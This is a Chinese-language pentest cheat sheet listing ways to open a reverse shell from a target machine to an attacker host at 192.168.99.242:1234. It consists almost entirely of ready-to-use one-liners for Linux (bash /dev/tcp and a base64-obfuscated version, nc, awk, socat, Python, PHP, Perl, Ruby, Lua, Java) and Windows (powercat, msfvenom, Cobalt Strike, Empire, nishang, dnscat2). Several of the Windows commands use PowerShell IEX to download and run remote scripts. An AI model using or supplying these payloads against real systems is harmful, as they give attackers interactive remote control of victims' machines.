反弹shell的各种姿势

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在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。本文所有姿势整理自网络,并基于同一个假设的前提下完成测试和验证。(假设:攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。)


Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1
base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;doneexec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七:PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

姿势八:Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿势九:Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

姿势十:Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

姿势十一:JAVA反弹

public class Revs {    /**    * @param args    * @throws Exception     */public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Runtime r = Runtime.getRuntime();        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};        Process p = r.exec(cmd);        p.waitFor();    }}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java java Revs


Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/服务端反弹:nc 192.168.99.242 1234 -e c:windowssystem32cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:WWW> Import-Module ./powercat.ps1PS C:WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbsinfoset Listener testexecute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iagox86/dnscat2

服务端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

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